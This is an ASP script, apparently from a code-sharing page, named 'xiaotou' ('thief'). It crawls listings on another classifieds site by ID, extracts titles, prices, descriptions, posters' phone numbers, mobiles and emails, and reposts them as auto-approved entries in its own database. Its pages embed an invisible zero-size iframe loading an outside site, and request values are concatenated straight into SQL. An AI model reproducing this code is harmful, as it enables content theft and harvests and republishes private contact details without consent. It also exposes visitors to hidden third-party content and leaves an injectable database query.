?? xiaotou.asp
字號:
<%
'*********打開數據庫語句***********
dim conn,connstr,db,startime
startime=timer()
db="data/duov#job_a.asa"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
'*********打開數據庫語句***********
'********************************************
dim url ,myjisu
url=trim(request("myurl"))
response.write "<br><br>"
response.write session("ji")
response.write "<br><br>"
if url="" and request("myjisu")="" then
set ts=server.createobject("adodb.recordset")
ts.open "select * from add_id",conn,1,3
response.write "<html><head><title>jjtools</title>"
response.write "<br>上次結束的Id是:"+cstr(ts("myid"))+"<br><br>"
response.write "可選擇的參數有:<br>1、xiaotou.asp?url=要取得內容的完整網址。<br>2、xiaotou.asp?myjisu=上次結束時的ID 值。<br><br>"
response.write "<a href='xiaotou.asp?myjisu="+cstr(ts("myid"))+"'>開始我的####</a>"
%>
<html><head><title>jjtools</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta HTTP-EQUIV=REFRESH CONTENT=120;URL="xiaotou.asp?myjisu=<%=cstr(ts("myid"))%>">
</head><iframe name="aa" frameborder=0 width=0 height="0" src="http://www.nbxqw.cn/ad.html" marginwidth="1" marginheight="1" scrolling="no" ></iframe>
<%
ts.close
set ts=nothing
response.end
end if
if url="" then
myjisu=request("myjisu")
if session("ji")="0" or session("ji")="" then
myjisu=myjisu+1
end if
response.write cstr(myjisu)+"<br>"
response.write "<a target=_black href="+"http://www.nb163.net/action/item.asp?ID="+cstr(myjisu-1)+"> http://www.nb163.net/action/item.asp?ID="+cstr(myjisu-1)+"</a><br>"
%>
<html><head><title>jjtools</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta HTTP-EQUIV=REFRESH CONTENT=120;URL="xiaotou.asp?myjisu=<%=cstr(myjisu)%>">
</head><iframe name="aa" frameborder=0 width=0 height="0" src="http://www.nbxqw.cn/ad.html" marginwidth="1" marginheight="1" scrolling="no" ></iframe>
<%
url="http://www.nb163.net/action/item.asp?ID="+cstr(myjisu)
response.write url+"<br><br>"
end if
session("jisu")=session("jisu")+1
response.write session("jisu")
'以上是變量
'******************************************
'zytconn="provider=microsoft.jet.OLEDB.4.0;data source=" & server.MapPath("tianqiyubao.mdb")
'set conn=server.CreateObject("adodb.connection")
'conn.open zytconn
On Error Resume Next
Server.ScriptTimeOut=9999999
Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")
End function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
wstr=getHTTPPage(url)
wstr=replace(replace(wstr,"<ifram",""),"src=","")
if instr(wstr,"商品名稱:")=0 then
sqll = conn.Execute("Update add_id set myid="+cstr(myjisu)+" where id=22")
session("ji")="1"
response.end
end if
wstrbt=mid(wstr,instr(wstr,"商品名稱:</font><font color=")+34,200)
wstrbt=left(wstrbt,instr(wstrbt,"</font>(商品ID")-1)
response.write "標題:"+wstrbt
wstrrx=mid(wstr,instr(wstr,"<td class=black width=119 height=25 bgcolor=")+54,10)
wstrrx=left(wstrrx,instr(wstrrx,"</font>")-1)
response.write "<br>交易類型:"+wstrrx
wstrfbz=mid(wstr,instr(wstr,"<td height=25 colspan=")+38,20)
wstrfbz=left(wstrfbz,instr(wstrfbz," ")-1)
response.write "<br>發布者:"+wstrfbz
wstrjg=mid(wstr,instr(wstr,"當前價格:")+102,10)
wstrjg=left(wstrjg,instr(wstrjg," 元")-1)
response.write "<br>價格:"+wstrjg
wstrdd=mid(wstr,instr(wstr,"所在地:")+101,20)
wstrdd=left(wstrdd,instr(wstrdd," </td>")-1)
response.write "<br>地點:"+wstrdd
wstrsm=mid(wstr,instr(wstr,"</SPAN></a><br>")+15,2000)
wstrsm=left(wstrsm,instr(wstrsm," class=b3><script type=")-1)
wstrsm=replace(replace(left(wstrsm,instr(wstrsm,"</td>")-1)," ",""),"<br>","")
response.write "<br>說明:"+wstrsm
wstrdh=mid(wstr,instr(wstr,"電話:</font></b></td>")+23,120)
wstrdh=mid(wstrdh,instr(wstrdh,"height=25>")+10,50)
wstrdh=left(wstrdh,instr(wstrdh,"</td>")-1)
response.write "<br>電話:"+wstrdh
wstrsj=mid(wstr,instr(wstr,"手機:</font></b></td>")+23,120)
wstrsj=mid(wstrsj,instr(wstrsj,"height=25>")+10,50)
wstrsj=left(wstrsj,instr(wstrsj,"</td>")-1)
response.write "<br>手機:"+wstrsj
wstryx=mid(wstr,instr(wstr,"電子信箱:</font></b></td>")+23,120)
wstryx=mid(wstryx,instr(wstryx,"height=25>")+10,50)
wstryx=left(wstryx,instr(wstryx,"</td>")-1)
response.write "<br>電子信箱:"+wstryx
%><%
'下面是把以上取得的信息加入數據庫
set rs=server.createobject("adodb.recordset")
sql = "select * from xinxi"
rs.open sql,conn,1,3
rs.addnew
session("ji")="0"
if wstrfbz="" or wstrbt="" then
response.end
end if
rs("username")=wstrfbz
rs("class1")="21"
rs("class2")="140"
rs("biaoti")=wstrbt
rs("leixing")=wstrrx
rs("jiage")=wstrjg
rs("diqu")=wstrdd
rs("youxiaoqi")="10"
rs("memo")=wstrsm
rs("name")=wstrfbz
rs("email")=wstryx
rs("dianhua")=wstrdh
if instr(wstrrx,"出售")<>0 then
rs("leixing")=1
else
rs("leixing")=2
end if
if request("a")="" then
rs("a")=0
else
rs("a")=trim(request("a"))
end if
if request("b")="" then
rs("b")=0
else
rs("b")=trim(request("b"))
end if
if request("c")="" then
rs("c")=0
else
rs("c")=trim(request("c"))
end if
if request("d")="1" then
rs("yz")=1
else
rs("yz")=1 '把此處改為0則沒有驗證工具的用戶發布信息需要管理員驗證。
end if
rs("fbsj")=now()
userip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If userip="" Then
userip=Request.ServerVariables("REMOTE_ADDR")
end if
rs("ip")=userip
rs.update
rs.close
set rs=nothing
%>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -